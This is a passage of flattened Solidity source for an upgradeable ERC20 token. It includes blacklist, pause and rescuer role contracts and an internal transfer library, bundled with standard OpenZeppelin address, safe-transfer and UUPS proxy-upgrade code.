event Blacklisted(address indexed account);
event UnBlacklisted(address indexed account);
event BlacklisterChanged(address indexed newBlacklister);
/**
* @dev Throws if called by any account other than the blacklister
*/
modifier onlyBlacklister() {
LibBlacklistable._requireBlacklister();
_;
}
/**
* @dev Throws if argument account is blacklisted
* @param account The address to check
*/
modifier notBlacklisted(address account) {
LibBlacklistable._requireNotBlacklisted(account);
_;
}
function blacklister() external view returns (address) {
return LibAppStorage.diamondStorage().blacklister;
}
/**
* @dev Checks if account is blacklisted
* @param account The address to check
*/
function isBlacklisted(address account) external view returns (bool) {
return LibAppStorage.diamondStorage().blacklisted[account];
}
/**
* @dev Adds account to blacklist
* @param account The address to blacklist
*/
function blacklist(address account) external onlyBlacklister {
LibAppStorage.diamondStorage().blacklisted[account] = true;
emit Blacklisted(account);
}
/**
* @dev Removes account from blacklist
* @param account The address to remove from the blacklist
*/
function unBlacklist(address account) external onlyBlacklister {
LibAppStorage.diamondStorage().blacklisted[account] = false;
emit UnBlacklisted(account);
}
function updateBlacklister(address newBlacklister) external onlyOwner {
require(newBlacklister != address(0), "Blacklistable: new blacklister is the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
appStorage.blacklister = newBlacklister;
emit BlacklisterChanged(appStorage.blacklister);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)
// File contracts/lib/LibERC20.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibERC20 {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Internal function to set allowance
* @param owner_ Token owner's address
* @param spender Spender's address
* @param value Allowance amount
*/
function _approve(
address owner_,
address spender,
uint256 value
) internal {
require(owner_ != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
appStorage.allowed[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
/**
* @notice Internal function to increase the allowance by a given increment
* @param owner Token owner's address
* @param spender Spender's address
* @param increment Amount of increase
*/
function _increaseAllowance(
address owner,
address spender,
uint256 increment
) internal {
AppStorage storage appStorage = LibAppStorage.diamondStorage();
uint256 currentAllowance = appStorage.allowed[owner][spender];
_approve(owner, spender, currentAllowance.add(increment));
}
/**
* @notice Internal function to decrease the allowance by a given decrement
* @param owner Token owner's address
* @param spender Spender's address
* @param decrement Amount of decrease
*/
function _decreaseAllowance(
address owner,
address spender,
uint256 decrement
) internal {
AppStorage storage appStorage = LibAppStorage.diamondStorage();
_approve(
owner,
spender,
appStorage.allowed[owner][spender].sub(
decrement,
"ERC20: decreased allowance below zero"
)
);
}
/**
* @notice Internal function to process transfers
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
require(value <= appStorage.balances[from], "ERC20: transfer amount exceeds balance");
appStorage.balances[from] = appStorage.balances[from].sub(value);
appStorage.balances[to] = appStorage.balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @notice Transfer tokens by spending allowance
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function _transferFrom(
address from,
address to,
uint256 value
) internal returns (bool) {
_transfer(from, to, value);
AppStorage storage appStorage = LibAppStorage.diamondStorage();
address msgSender = LibContext._msgSender();
uint256 currentAllowance = appStorage.allowed[from][msgSender];
require(value <= currentAllowance, "ERC20: transfer amount exceeds allowance");
appStorage.allowed[from][msgSender] = currentAllowance.sub(value);
return true;
}
}
// File contracts/lib/LibPausable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibPausable {
function _requireNotPaused() internal view {
require(!LibAppStorage.diamondStorage().paused, "Pausable: paused");
}
function _requireOnlyPauser() internal view {
require(
LibContext._msgSender() == LibAppStorage.diamondStorage().pauser,
"Pausable: caller is not the pauser"
);
}
}
// File contracts/common/Pausable.sol
/**
*
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Copyright (c) 2018-2020 CENTRE SECZ0
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @notice Base contract which allows children to implement an emergency stop
* mechanism
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feb665136c0dae9912e08397c1a21c4af3651ef3/contracts/lifecycle/Pausable.sol
* Modifications:
* 1. Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018)
* 2. Removed whenNotPause/whenPaused from pause/unpause (6/14/2018)
* 3. Removed whenPaused (6/14/2018)
* 4. Switches ownable library to use ZeppelinOS (7/12/18)
* 5. Remove constructor (7/13/18)
* 6. Reformat, conform to Solidity 0.6 syntax and add error messages (5/13/20)
* 7. Make public functions external (5/27/20)
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
LibPausable._requireNotPaused();
_;
}
/**
* @dev throws if called by any account other than the pauser
*/
modifier onlyPauser() {
LibPausable._requireOnlyPauser();
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() external onlyPauser {
LibAppStorage.diamondStorage().paused = true;
emit Pause();
}
function paused() external view returns (bool) {
return LibAppStorage.diamondStorage().paused;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() external onlyPauser {
LibAppStorage.diamondStorage().paused = false;
emit Unpause();
}
function pauser() external view returns (address) {
return LibAppStorage.diamondStorage().pauser;
}
/**
* @dev update the pauser role
*/
function updatePauser(address newPauser) external onlyOwner {
require(newPauser != address(0), "Pausable: new pauser is the zero address");
LibAppStorage.diamondStorage().pauser = newPauser;
emit PauserChanged(LibAppStorage.diamondStorage().pauser);
}
}
// File @openzeppelin/contracts/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/common/Rescuable.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
contract Rescuable is Ownable {
using SafeERC20 for IERC20;
event RescuerChanged(address indexed newRescuer);
/**
* @notice Returns current rescuer
* @return Rescuer's address
*/
function rescuer() external view returns (address) {
return LibAppStorage.diamondStorage().rescuer;
}
/**
* @notice Revert if called by any account other than the rescuer.
*/
modifier onlyRescuer() {
_requireOnlyRescuer();
_;
}
function _requireOnlyRescuer() internal view {
require(
msg.sender == LibAppStorage.diamondStorage().rescuer,
"Rescuable: caller is not the rescuer"
);
}
/**
* @notice Rescue ERC20 tokens locked up in this contract.
* @param tokenContract ERC20 token contract address
* @param to Recipient address
* @param amount Amount to withdraw
*/
function rescueERC20(
IERC20 tokenContract,
address to,
uint256 amount
) external onlyRescuer {
tokenContract.safeTransfer(to, amount);
}
/**
* @notice Assign the rescuer role to a given address.
* @param newRescuer New rescuer's address
*/
function updateRescuer(address newRescuer) external onlyOwner {
require(newRescuer != address(0), "Rescuable: new rescuer is the zero address");
LibAppStorage.diamondStorage().rescuer = newRescuer;
emit RescuerChanged(newRescuer);
}
}
// File @openzeppelin/contracts/proxy/beacon/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts/proxy/ERC1967/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract"
);
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(
_ROLLBACK_SLOT
);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(
oldImplementation == _getImplementation(),
"ERC1967Upgrade: upgrade breaks further upgrades"
);
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// File @openzeppelin/contracts/proxy/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is ERC1967Upgrade {
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data)
external
payable
virtual
onlyProxy
{
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
